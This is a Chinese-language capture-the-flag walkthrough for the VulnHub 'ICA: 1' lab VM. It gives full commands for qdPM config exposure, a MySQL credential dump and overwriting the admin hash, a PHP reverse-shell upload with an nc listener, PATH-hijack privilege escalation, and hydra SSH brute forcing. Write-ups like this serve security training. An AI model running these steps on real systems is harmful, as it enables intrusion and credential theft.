vulnhub ica1 通关流程

> ### Description
>
> According to information from our intelligence network, ICA is working on a secret project. We need to find out what the project is. Once you have the access information, send them to us. We will place a backdoor to access the system later. You just focus on what the project is. You will probably have to go through several layers of security. The Agency has full confidence that you will successfully complete this mission. Good Luck, Agent!
>
> Difficulty: Easy
>
> This works better with VirtualBox rather than VMware
>
> 下载地址：ICA: 1 ~ VulnHub

阶段一：信息收集

1. 发现主机

```
netdiscover -i eth0  -r 192.168.1.1/24
```

```
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.1.1     80:8f:1d:fb:77:e0      1      60  TP-LINK TECHNOLOGIES
CO.,LTD.
 192.168.1.100   bc:5f:f6:f6:8a:2a      1      60  MERCURY COMMUNICATION
TECHNOLOGIES CO.,LTD.
 192.168.1.111   08:00:27:96:7b:c1      1      60  PCS Systemtechnik GmbH
 192.168.1.104   46:1c:12:da:b7:3f      1      60  Unknown vendor
```

> 获得目标主机IP：`192.168.1.111`

2. 扫描主机

```
nmap -p- -sV -sC -O -oN nmap.out 192.168.1.111
```

> 获得目标端口信息：
>
> - 22   openSSH 8.4p1 Debian 5 (protocol 2.0)
> - 80/tcp   open http Apache httpd 2.4.48 ((Debian))
> - 3306/tcp   open mysql MySQL 8.0.26
>
> 分析：关于ssh和mysql的账户密码信息什么都没有，暴力破解无从着手。从端口80作为切入点比较合适。

3. 针对80端口收集网站信息

- 发现登录系统qdPM 9.2，要求邮箱作为账号登录。进入qdPM官网后发现其是个管理系统。官网原文描述为：Free Web-Based Project Management Software (PHP/MySql)
- 查询该系统版本的相关漏洞

  ```
  ┌──(root㉿kali)-[~/ica1]
  └─# searchsploit qdPM 9.2
  ------------------------------------------------------------------------
   Exploit Title                                          |  Path
  ------------------------------------------------------------------------
  qdPM 9.2 - Cross-site Request Forgery (CSRF)            | php/webapps/50854.txt
  qdPM 9.2 - Password Exposure (Unauthenticated)          | php/webapps/50176.txt
  ------------------------------------------------------------------------
  Shellcodes: No Results
  Papers: No Results
  ```

- 发现可利用漏洞，可得数据密码信息。

```
┌──(root㉿kali)-[~/ica1]
└─# cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure
(Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link:
https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4

The password and connection string for the database are stored in a yml
file. To access the yml file you can go to
http://<website>/core/config/databases.yml file and download.
```

- 按照说明获取`yml`文件

```
wget http://192.168.1.111/core/config/databases.yml
```

内容如下：

```
all:
 doctrine:
 class: sfDoctrineDatabase
 param:
 dsn: 'mysql:dbname=qdpm;host=localhost'
 profiler: false
 username: qdpmadmin
 password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
 attributes:
 quote_identifier: true
```

> 获得`mysql`数据库信息
>
> dbname: `qdpm`
>
> username: `qdpmadmin`
>
> password: `UcVQCMQk2STVeS6J`

阶段二：连接数据库

1. 登录数据库

```
mysql -h 192.168.1.111 -P 3306 --user=qdpmadmin --password=UcVQCMQk2STVeS6J
```

2. 查找有用信息

- 查看所有数据库

  ```
  MySQL [(none)]> show databases;
  +--------------------+
  | Database           |
  +--------------------+
  | information_schema |
  | mysql              |
  | performance_schema |
  | qdpm               |
  | staff              |
  | sys                |
  +--------------------+
  6 rows in set (0.001 sec)
  ```

- 在数据库表`staff.department`中获得职位信息。

  ```
  MySQL [(none)]> use staff;
  Reading table information for completion of table and column names
  You can turn off this feature to get a quicker startup with -A

  Database changed
  MySQL [staff]> select * from department;
  +------+----------+
  | id   | name     |
  +------+----------+
  |    1 | Agent    |
  |    2 | Engineer |
  +------+----------+
  2 rows in set (0.000 sec)
  ```

- 在数据库表`staff.login`中获得一些密码信息，基于`BASE64`加密

```
MySQL [staff]> select * from login;
+------+---------+--------------------------+
| id   | user_id | password                 |
+------+---------+--------------------------+
|    1 |       2 | c3VSSkFkR3dMcDhkeTNyRg== |
|    2 |       4 | N1p3VjRxdGc0MmNtVVhHWA== |
|    3 |       1 | WDdNUWtQM1cyOWZld0hkQw== |
|    4 |       3 | REpjZVZ5OThXMjhZN3dMZw== |
|    5 |       5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
+------+---------+--------------------------+
5 rows in set (0.008 sec)
```

- 在数据库表`staff.user`中获得一些账户信息

```
MySQL [staff]> select * from user;
+------+---------------+--------+---------------------------+
| id   | department_id | name   | role                      |
+------+---------------+--------+---------------------------+
|    1 |             1 | Smith  | Cyber Security Specialist |
|    2 |             2 | Lucas  | Computer Engineer         |
|    3 |             1 | Travis | Intelligence Specialist   |
|    4 |             1 | Dexter | Cyber Security Analyst    |
|    5 |             2 | Meyer  | Genetic Engineer          |
+------+---------------+--------+---------------------------+
5 rows in set (0.007 sec)
```

- 从数据库表`qdpm.configuration`中获得管理员账号密码

```
MySQL [staff]> use qdpm;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [qdpm]> select * from configuration;
+----+--------------------------------------+------------------------------
---------------------------------------------------------------------------
-----------------+
| id | key                                  | value
|
+----+--------------------------------------+------------------------------
---------------------------------------------------------------------------
-----------------+
|  1 | app_administrator_email              | admin@localhost.com
|
|  2 | app_administrator_password           |
$P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0
```

- 总结

> - 获得一些职工的名字和密码，密码以`Base64`格式编码。但对应关系未知，作用未知。可尝试使用`hydra`枚举组合爆破`SSH`。[支线一]
> - 获得管理员账号密码对，账号格式为邮箱，猜测可用于qdPM系统登录。
>   - 考虑到管理员权限很高，优先对此信息展开进一步处理。
>   - 此密码加密类型为`phpass`，尝试`JOHN`对此密码进行暴力破解，失败。 [支线二]
>   - 考虑对此密码`HASH`进行替换。

3. 更换密码

- 获取新密码Hash

```
┌──(kali㉿kali)-[~]
└─$ mkpasswd --method=md5crypt 123456
$1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0
```

- 写入数据库表

```
MySQL [qdpm]> update configuration set
value='$1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0' where id=2;
```

- 查询确认

```
MySQL [qdpm]> select value from configuration where id=2;
+------------------------------------+
| value                              |
+------------------------------------+
| $1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0 |
+------------------------------------+
1 row in set (0.000 sec)
```

阶段三：进入qdPM系统

1. 登录qdPM系统

账号：`admin@localhost.com`

密码：`123456`

2. 查找有用信息

- 发现可新增用户，尝试新建一个管理员账户。

  Full Name: `test`

  Password: `test`

  Email: `test@test.test`

3. 上传 Reverse Shell

> - kali系统自带有反弹SHELL文件，
>
>   位于 `/usr/share/webshells/php/php-reverse-shell.php`
>
> - 复制文件，并修改文件中的 `IP` 为本机 `192.168.1.150` ，端口号为 `8888`。
>
>   修改之后将其放入文件夹 `/home/kali/Document`。

- 退出账户 `admin@localhost.com` ，登录账户 `test@test.test`

- 发现新建工程可以上传文件，上传`php-reverse-shell.php`

  ```
  Projects --> Add Project --> General & Attachments
  ```

4. 建立反弹SHELL

- 寻找上传的文件位置。对网站目录进行枚举，发现`http://192.168.1.111/uploads/attachments/`目录，上传的附件就保存在此处。

  ```
  dirb http://192.168.1.111 -o dirb.out
  ```

- 在本地终端监听端口。

  ```
  nc -lvnp 8888
  ```

- 点击文件`php-reverse-shell.php`，本机监听处收到请求，成功建立反弹`shell`

阶段四：提权

- 成功进入系统，`ID`为`www-data`

  ```
  $ id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  ```

- 搜索可执行文件，发现文件`get_access`

  ```
  find / -perm -u=s 2>/dev/null
  ```

- 执行该文件

```
$ /opt/get_access

  ############################
  ########     ICA     #######
  ### ACCESS TO THE SYSTEM ###
  ############################

  Server Information:
   - Firewall:  AIwall v9.5.2
   - OS:        Debian 11 "bullseye"
   - Network:   Local Secure Network 2 (LSN2) v 2.4.1

All services are disabled. Accessing to the system is allowed only within
working hours.
```

- 尝试读取该文件的字符内容，发现`setuid`字样，及`cat`读取`root`路径下文件的语句。猜测该程序先设置了`UID`，之后调用`cat`读取文件。可以考虑通过替换`cat`提权。

```
$ strings /opt/get_access
setuid
socket
puts
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
cat /root/system.info
```

- 更改环境变量

```
cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
```

- 运行程序，得到`root`身份，提权成功

```
$ /opt/get_access
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```

阶段五：获取FLAG

- `FLAG1` 位于 `/home/travis/user.txt` 。由于 `cat` 已经被替换，改用 `less` 读取文件。

  ```
  less user.txt
  ICA{Secret_Project}
  ```

- `FLAG2` 位于 `/root/root.txt`

  ```
  less root.txt
  ICA{Next_Generation_Self_Renewable_Genetics}
  ```

- 至此，任务完成

支线一：使用 hydra 枚举组合爆破 SSH

- 将名字和密码分别存入文件 `users.txt` 和 `base64_passwords.txt` 。名字作为账户名可能为全小写或者全大写，所以将大小写名字也添加进去。

```
Smith
Lucas
Travis
Dexter
Meyer

smith
lucas
travis
dexter
meyer

SMITH
LUCAS
TRAVIS
DEXTER
MEYER
```

```
c3VSSkFkR3dMcDhkeTNyRg==
N1p3VjRxdGc0MmNtVVhHWA==
WDdNUWtQM1cyOWZld0hkQw==
REpjZVZ5OThXMjhZN3dMZw==
Y3FObkJXQ0J5UzJEdUpTeQ==
```

- 对密码解码，并保存到文件`passwords.txt`中

```
for line in $(cat base64_passwords.txt)

do

echo $line | base64 -d >> passwords.txt
echo -e >>passwords.txt
done
```

```
suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy
```

- 爆破

```
hydra -e nsr -L users.txt -P passwords.txt 192.168.1.111 ssh -t 4 -o
hydra.out
```

- 成功得到账户密码组合

```
┌──(root㉿kali)-[~/ica1]
└─# hydra -e nsr -L users.txt -P passwords.txt 192.168.1.111 ssh -t 4 -o
hydra.out
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-02
12:44:29
[DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8),
~10 tries per task
[DATA] attacking ssh://192.168.1.111:22/
[22][ssh] host: 192.168.1.111   login: travis   password: DJceVy98W28Y7wLg
[22][ssh] host: 192.168.1.111   login: dexter   password: 7ZwV4qtg42cmUXGX
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-02
12:44:55
```

login: `travis` password: `DJceVy98W28Y7wLg`

login: `dexter` password: `7ZwV4qtg42cmUXGX`

支线二：使用 JOHN 对管理员密码进行破解

- 将密码hash保存到文件`pass.hash`

```
$P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0
```

- 查看密码加密类型

```
hashid -j pass.hash
```

- 开始破解

```
john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass pass.hash
```

- 破解失败